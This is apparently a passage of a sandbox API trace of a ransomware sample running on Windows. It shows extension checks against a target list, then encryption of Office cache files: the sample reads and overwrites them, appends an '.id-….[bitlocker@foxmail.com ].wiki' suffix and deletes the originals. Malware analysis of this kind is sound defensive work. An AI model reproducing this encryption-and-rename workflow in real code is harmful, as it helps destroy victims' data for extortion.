(lpString1=".dbf", lpString2=".msi") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.117] lstrlenW (lpString=".1cd") returned 4 [0050.117] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.117] lstrlenW (lpString=".jpg") returned 4 [0050.117] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.117] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0050.117] lstrlenW (lpString="Proof.cab") returned 9 [0050.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0050.117] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=21064532) returned 1 [0050.117] CloseHandle (hObject=0x1a4) returned 1 [0050.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0050.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.118] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0050.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0050.468] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.468] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.468] ReadFile (in: hFile=0x1a4, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.478] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.478] ReadFile (in: hFile=0x1a4, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.481] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.481] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.481] ReadFile (in: hFile=0x1a4, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.500] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.500] WriteFile (in: hFile=0x1a4, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0050.513] SetEndOfFile (hFile=0x1a4) returned 1 [0050.752] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0050.752] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.752] WriteFile (in: hFile=0x1a4, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.824] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.824] WriteFile (in: hFile=0x1a4, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.825] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0050.825] WriteFile (in: hFile=0x1a4, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.827] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0050.827] CloseHandle (hObject=0x1a4) returned 1 [0053.651] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0053.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.651] lstrlenW (lpString=".doc") returned 4 [0053.651] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.651] lstrlenW (lpString=".docx") returned 5 [0053.651] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0053.651] lstrlenW (lpString=".pdf") returned 4 [0053.651] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.651] lstrlenW (lpString=".xls") returned 4 [0053.651] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.651] lstrlenW (lpString=".xlsx") returned 5 [0053.651] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0053.651] lstrlenW (lpString=".ppt") returned 4 [0053.651] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.651] lstrlenW (lpString=".zip") returned 4 [0053.651] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.651] lstrlenW (lpString=".rar") returned 4 [0053.651] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.651] lstrlenW (lpString=".bz2") returned 4 [0053.651] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.651] lstrlenW (lpString=".7z") returned 3 [0053.651] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.651] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.651] lstrlenW (lpString=".dbf") returned 4 [0053.652] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.652] lstrlenW (lpString=".1cd") returned 4 [0053.652] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.652] lstrlenW (lpString=".jpg") returned 4 [0053.652] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.652] lstrlenW (lpString=".doc") returned 4 [0053.652] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString=".docx") returned 5 [0053.652] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0053.652] lstrlenW (lpString=".pdf") returned 4 [0053.652] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString=".xls") returned 4 [0053.652] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString=".xlsx") returned 5 [0053.652] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0053.652] lstrlenW (lpString=".ppt") returned 4 [0053.652] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.652] lstrlenW (lpString=".zip") returned 4 [0053.652] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString=".rar") returned 4 [0053.652] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString=".bz2") returned 4 [0053.652] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.652] lstrlenW (lpString=".7z") returned 3 [0053.652] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.652] lstrlenW (lpString=".dbf") returned 4 [0053.652] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.652] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.653] lstrlenW (lpString=".1cd") returned 4 [0053.653] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.653] lstrlenW (lpString=".jpg") returned 4 [0053.653] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.653] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0053.653] lstrlenW (lpString="DW20.EXE") returned 8 [0053.653] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.854] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=838536) returned 1 [0053.854] CloseHandle (hObject=0x17c) returned 1 [0053.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0053.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.855] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.855] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.855] GetLastError () returned 0x0 [0053.855] ReadFile (in: hFile=0x17c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0053.872] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0053.885] ReadFile (in: hFile=0x17c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.885] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0053.886] SetEndOfFile (hFile=0x1e8) returned 1 [0053.886] CloseHandle (hObject=0x1e8) returned 1 [0053.886] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.886] SetEndOfFile (hFile=0x17c) returned 1 [0053.893] CloseHandle (hObject=0x17c) returned 1 [0053.893] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0053.893] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0053.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.893] lstrlenW (lpString=".doc") returned 4 [0053.893] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0053.893] lstrlenW (lpString=".docx") returned 5 [0053.893] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0053.893] lstrlenW (lpString=".pdf") returned 4 [0053.893] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0053.893] lstrlenW (lpString=".xls") returned 4 [0053.893] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0053.893] lstrlenW (lpString=".xlsx") returned 5 [0053.893] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0053.893] lstrlenW (lpString=".ppt") returned 4 [0053.893] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0053.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.893] lstrlenW (lpString=".zip") returned 4 [0053.894] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString=".rar") returned 4 [0053.894] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString=".bz2") returned 4 [0053.894] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0053.894] lstrlenW (lpString=".7z") returned 3 [0053.894] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0053.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.894] lstrlenW (lpString=".dbf") returned 4 [0053.894] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0053.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.894] lstrlenW (lpString=".1cd") returned 4 [0053.894] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0053.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.894] lstrlenW (lpString=".jpg") returned 4 [0053.894] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.894] lstrlenW (lpString=".doc") returned 4 [0053.894] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0053.894] lstrlenW (lpString=".docx") returned 5 [0053.894] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0053.894] lstrlenW (lpString=".pdf") returned 4 [0053.894] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString=".xls") returned 4 [0053.894] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString=".xlsx") returned 5 [0053.894] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0053.894] lstrlenW (lpString=".ppt") returned 4 [0053.894] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.894] lstrlenW (lpString=".zip") returned 4 [0053.894] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0053.894] lstrlenW (lpString=".rar") returned 4 [0053.894] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0053.895] lstrlenW (lpString=".bz2") returned 4 [0053.895] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0053.895] lstrlenW (lpString=".7z") returned 3 [0053.895] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0053.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.895] lstrlenW (lpString=".dbf") returned 4 [0053.895] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0053.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.895] lstrlenW (lpString=".1cd") returned 4 [0053.895] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0053.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0053.895] lstrlenW (lpString=".jpg") returned 4 [0053.895] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0053.895] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0053.895] lstrlenW (lpString="dwtrig20.exe") returned 12 [0053.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.895] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=519584) returned 1 [0053.895] CloseHandle (hObject=0x17c) returned 1 [0053.895] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0053.895] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.896] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.896] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.896] GetLastError () returned 0x0 [0053.896] ReadFile (in: hFile=0x17c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0054.139] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0054.146] ReadFile (in: hFile=0x17c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.147] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.147] SetEndOfFile (hFile=0x1e8) returned 1 [0054.632] CloseHandle (hObject=0x1e8) returned 1 [0054.633] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.633] SetEndOfFile (hFile=0x17c) returned 1 [0054.637] CloseHandle (hObject=0x17c) returned 1 [0054.637] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.637] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.637] lstrlenW (lpString=".doc") returned 4 [0054.637] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.637] lstrlenW (lpString=".docx") returned 5 [0054.637] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0054.637] lstrlenW (lpString=".pdf") returned 4 [0054.637] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.637] lstrlenW (lpString=".xls") returned 4 [0054.637] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.637] lstrlenW (lpString=".xlsx") returned 5 [0054.637] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0054.638] lstrlenW (lpString=".ppt") returned 4 [0054.638] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.638] lstrlenW (lpString=".zip") returned 4 [0054.638] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString=".rar") returned 4 [0054.638] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.638] lstrlenW (lpString=".bz2") returned 4 [0054.638] lstrcmpiW 